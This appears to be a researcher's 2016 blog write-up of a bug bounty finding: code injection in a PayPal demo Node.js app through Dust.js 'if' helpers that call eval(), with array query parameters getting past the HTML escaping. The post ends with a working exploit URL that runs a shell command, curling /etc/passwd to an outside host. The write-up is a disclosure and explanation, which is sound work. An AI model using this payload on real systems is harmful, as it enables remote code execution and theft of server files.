Friday, August 19, 2016

[demo.paypal.com] Node.js code injection (RCE)

When I am trying to find vulnerabilities in web applications, I always perform fuzzing of all http parameters, and sometimes it gives me something interesting:

The demo.paypal.com server was responding differently for '\' and '%0a' requests and was throwing a 'syntax error' in responses. At the same time for single quote, double quote and other characters the server was responding with HTTP 200 OK.

From error messages I found out that PayPal Node.js application uses Dust.js javascript templating engine on server-side, so I decided to take a look. After looking at its source code on github, I figured out that the problem is connected with using "if" dust.js helpers.

The old version of Dust.js supports "if" helpers, you can use them in your code like that:

{@if cond="'{device}' == 'desktop'"}
<div> Desktop version </div>
{:else}
<div> Mobile version </div>
{/if}
view raw ifhelper.dust hosted with ❤ by GitHub
And the "if" helper internally uses javascript eval, for complex expression evaluation:
https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215

"if": function( chunk, context, bodies, params ){
var body = bodies.block,
skip = bodies['else'];
if( params && params.cond){
var cond = params.cond;
cond = dust.helpers.tap(cond, chunk, context);
// eval expressions with given dust references
if(eval(cond)){
if(body) {
return chunk.render( bodies.block, context );
}
else {
_log("Missing body block in the if helper!");
return chunk;
}
}
view raw dust-helpers.js hosted with ❤ by GitHub
Eval! Yeah, why not? It's a simple and elegant solution.

So when I send a request to http://_demo.paypal.com/demo/navigation?device=xxx\ application is trying to evaluate the following javascript expression:

eval("'xxx\' == 'desktop'");
view raw eval.js hosted with ❤ by GitHub
Which throws a syntax error.

Does that mean that user supplied input comes to eval() directly? Not actually, the application performed replacement for several dangerous characters like single quote (') and double quote (") with html encoding (' -> &#39;), so we cannot directly close the string and execute arbitrary javascript code. But let's look closer at the function that makes this replacement:

https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846

var HCHARS = /[&<>"']/,
AMP = /&/g,
LT = /</g,
GT = />/g,
QUOT = /\"/g,
SQUOT = /\'/g;
dust.escapeHtml = function(s) {
if (typeof s === 'string') {
if (!HCHARS.test(s)) {
return s;
}
return s.replace(AMP,'&amp;').replace(LT,'&lt;').replace(GT,'&gt;').replace(QUOT,'&quot;').replace(SQUOT, '&#39;');
}
return s;
};
view raw dust.js hosted with ❤ by GitHub
Hmmm, but what if the 's' parameter is not a string? In Node.js we can send a request like paypal.com/?device[]=1&device[]=2 and the 'device' parameter will be parsed by qs module as an Array, instead of string.

I quickly made a request to https://_demo.paypal.com/demo/navigation?device[]=&device[]=' and when the server responded with 'syntax error' my chair started to shake under me.

I am a bit friendly with Node.js, so it took me few minutes to craft a test payload that sends '/etc/passwd' file to my server.

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'



This string was worth $10.000 for me.